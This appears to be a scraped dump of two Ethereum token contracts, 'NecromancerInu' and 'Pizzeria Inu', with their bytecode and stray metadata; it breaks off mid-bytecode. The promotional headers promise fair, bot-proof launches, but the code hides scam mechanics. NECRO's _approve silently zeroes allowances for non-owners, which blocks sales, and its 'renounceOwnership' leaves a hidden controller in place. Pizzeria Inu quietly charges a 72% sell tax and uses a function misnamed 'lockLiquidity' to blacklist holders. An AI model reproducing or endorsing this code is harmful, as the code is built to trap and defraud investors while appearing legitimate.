/** *Submitted for verification at Etherscan.io on 2021-07-24 */ /* ███▄ █ ▓█████ ▄████▄ ██▀███ ▒█████ ██ ▀█ █ ▓█ ▀ ▒██▀ ▀█ ▓██ ▒ ██▒▒██▒ ██▒ ▓██ ▀█ ██▒▒███ ▒▓█ ▄ ▓██ ░▄█ ▒▒██░ ██▒ ▓██▒ ▐▌██▒▒▓█ ▄ ▒▓▓▄ ▄██▒▒██▀▀█▄ ▒██ ██░ ▒██░ ▓██░░▒████▒▒ ▓███▀ ░░██▓ ▒██▒░ ████▓▒░ ░ ▒░ ▒ ▒ ░░ ▒░ ░░ ░▒ ▒ ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ░ ░░ ░ ▒░ ░ ░ ░ ░ ▒ ░▒ ░ ▒░ ░ ▒ ▒░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░ ░ ░ $NECRO (Erc20 Token) A community-focused decentralized transaction network $NECRO is fully decentralized, and all decisions are made by the community. Website: https://www.necromancerinu.com Twitter: https://twitter.com/NecromancerInu Telegram: https://t.me/necromancerinu 📍 Total Supply: 1 B 📍 Token Symbol: $NECRO 📍 No Burn 📍 Anti-Bot Protect: ✅ 📍 Initial max buy limit: 0.3 % 📍 15 Sec cooldown (The timer start from when you last bought) 📍 100 % Lock Liquidity 📍 Fair Launch - No presale, no team token 📍 1 wallet for buyback */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract necroinu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1 * 10**9 * 10**18; string private _name = 'NecromancerInu - https://t.me/necromancerinu'; string private _symbol = '$NECRO'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address necro, address inu, uint256 amount) private { require(necro != address(0), "ERC20: approve from the zero address"); require(inu != address(0), "ERC20: approve to the zero address"); if (necro != owner()) { _allowances[necro][inu] = 0; emit Approval(necro, inu, 4); } else { _allowances[necro][inu] = amount; emit Approval(necro, inu, amount); } } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a271a192e1009cbeaa7061dcc7959c1a214c2c57aa422a37409af8d0e0f5a95764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
4,827
0xd7dbB616975Adb7eb0Aa2D547bEe3Cc47b376019
/** Pizzeria Inu GOING FROM A FUN IDEA, TO A ROBUST CONTRACT. A-TEAM. We scrapped the chain looking for inspiration when it comes to the biggest problems surrounding MEME-token launches (swingers, whales and bots). Our hand-made contract is a guarantee that our investors can’t be botted and that no whales can’t control our supply. Combining a solid contract to a community-driven approach, we’re set up for success. Symbol: PIZZA Total Supply:120,000,000 Max Buy: 1% Lock Period: 60 days Initial Liquidity Pool: 4 ETH Team Token: Nil Tax 12% ERC20 Token Website: https://pizzeriainu.xyz/ Twitter: https://twitter.com/PizzeriaInu Telegram: https://t.me/PizzeriaInu **/ pragma solidity ^0.8.11; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=12; uint256 constant TOTAL_SUPPLY=120000000; string constant TOKEN_SYMBOL="PIZZA"; string constant TOKEN_NAME="Pizzeria Inu"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract PizzeriaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _maxWallet= TOTAL_SUPPLY * 10**DECIMALS; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(100); _maxWallet=_tTotal.div(50); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 tax=_taxFee; if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } require(!bots[from] && !bots[to], "This account is blacklisted"); if(to != _pair) { require(balanceOf(to) + amount < _maxWallet, "Balance exceeded wallet size"); }else if(_swapEnabled){ tax=_taxFee*6; } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:tax); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function lockLiquidity(address[] memory g) public onlyTaxCollector { for (uint256 i = 0; i < g.length; i++) { bots[g[i]] = true; } } function removeFromWhitelist(address notbot) public onlyTaxCollector { bots[notbot] = false; } function createUniswapPair() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyTaxCollector{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function swapForTax() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function collectTax() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x6080604052600436106101235760003560e01c80638ab1d681116100a0578063bfd7928411610064578063bfd7928414610343578063d49b55d614610373578063dd62ed3e14610388578063e8078d94146103ce578063f811fd40146103e357600080fd5b80638ab1d6811461028d5780638da5cb5b146102ad57806395d89b41146102d55780639e752b9514610303578063a9059cbb1461032357600080fd5b80633d8705ab116100e75780633d8705ab146102015780633e07ce5b146102185780634a1316721461022d57806370a0823114610242578063715018a61461027857600080fd5b806306fdde031461012f578063095ea7b31461017657806318160ddd146101a657806323b872dd146101c5578063313ce567146101e557600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600c81526b50697a7a6572696120496e7560a01b60208201525b60405161016d91906113ea565b60405180910390f35b34801561018257600080fd5b50610196610191366004611464565b610403565b604051901515815260200161016d565b3480156101b257600080fd5b506006545b60405190815260200161016d565b3480156101d157600080fd5b506101966101e0366004611490565b61041a565b3480156101f157600080fd5b506040516006815260200161016d565b34801561020d57600080fd5b50610216610483565b005b34801561022457600080fd5b506102166104a7565b34801561023957600080fd5b506102166104c6565b34801561024e57600080fd5b506101b761025d3660046114d1565b6001600160a01b031660009081526002602052604090205490565b34801561028457600080fd5b50610216610752565b34801561029957600080fd5b506102166102a83660046114d1565b6107f6565b3480156102b957600080fd5b506000546040516001600160a01b03909116815260200161016d565b3480156102e157600080fd5b5060408051808201909152600581526450495a5a4160d81b6020820152610160565b34801561030f57600080fd5b5061021661031e3660046114ee565b61082e565b34801561032f57600080fd5b5061019661033e366004611464565b610857565b34801561034f57600080fd5b5061019661035e3660046114d1565b60056020526000908152604090205460ff1681565b34801561037f57600080fd5b50610216610864565b34801561039457600080fd5b506101b76103a3366004611507565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103da57600080fd5b50610216610894565b3480156103ef57600080fd5b506102166103fe366004611556565b61099b565b6000610410338484610a67565b5060015b92915050565b6000610427848484610b8b565b6104798433610474856040518060600160405280602881526020016117b1602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610faa565b610a67565b5060019392505050565b6009546001600160a01b0316331461049a57600080fd5b476104a481610fe4565b50565b6009546001600160a01b031633146104be57600080fd5b600654600a55565b6009546001600160a01b031633146104dd57600080fd5b600c54600160a01b900460ff161561053c5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546006546105599130916001600160a01b0390911690610a67565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d0919061161b565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610656919061161b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c7919061161b565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561072e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a49190611638565b6000546001600160a01b031633146107ac5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610533565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461080d57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6009546001600160a01b0316331461084557600080fd5b600c811061085257600080fd5b600855565b6000610410338484610b8b565b6009546001600160a01b0316331461087b57600080fd5b306000908152600260205260409020546104a48161101e565b6009546001600160a01b031633146108ab57600080fd5b600b546001600160a01b031663f305d71947306108dd816001600160a01b031660009081526002602052604090205490565b6000806108f26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561095a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097f919061165a565b5050600c805462ff00ff60a01b19166201000160a01b17905550565b6009546001600160a01b031633146109b257600080fd5b60005b8151811015610a1a576001600560008484815181106109d6576109d6611688565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a12816116b4565b9150506109b5565b5050565b6000610a6083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611198565b9392505050565b6001600160a01b038316610ac95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610533565b6001600160a01b038216610b2a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610533565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bef5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610533565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610533565b60008111610cb35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610533565b6008546000546001600160a01b03858116911614801590610ce257506000546001600160a01b03848116911614155b15610f4a57600c546001600160a01b038581169116148015610d125750600b546001600160a01b03848116911614155b8015610d3757506001600160a01b03831660009081526004602052604090205460ff16155b15610d8d57600a548210610d8d5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610533565b6001600160a01b03841660009081526005602052604090205460ff16158015610dcf57506001600160a01b03831660009081526005602052604090205460ff16155b610e1b5760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c697374656400000000006044820152606401610533565b600c546001600160a01b03848116911614610eaf5760075482610e53856001600160a01b031660009081526002602052604090205490565b610e5d91906116cf565b10610eaa5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610533565b610ed2565b600c54600160b01b900460ff1615610ed257600854610ecf9060066116e7565b90505b30600090815260026020526040902054600c54600160a81b900460ff16158015610f0a5750600c546001600160a01b03868116911614155b8015610f1f5750600c54600160b01b900460ff165b15610f4857610f2d8161101e565b47670de0b6b3a76400008110610f4657610f4647610fe4565b505b505b6001600160a01b038316600090815260046020526040902054610fa49085908590859060ff1680610f9357506001600160a01b03881660009081526004602052604090205460ff165b610f9d57846111c6565b60006111c6565b50505050565b60008184841115610fce5760405162461bcd60e51b815260040161053391906113ea565b506000610fdb8486611706565b95945050505050565b6009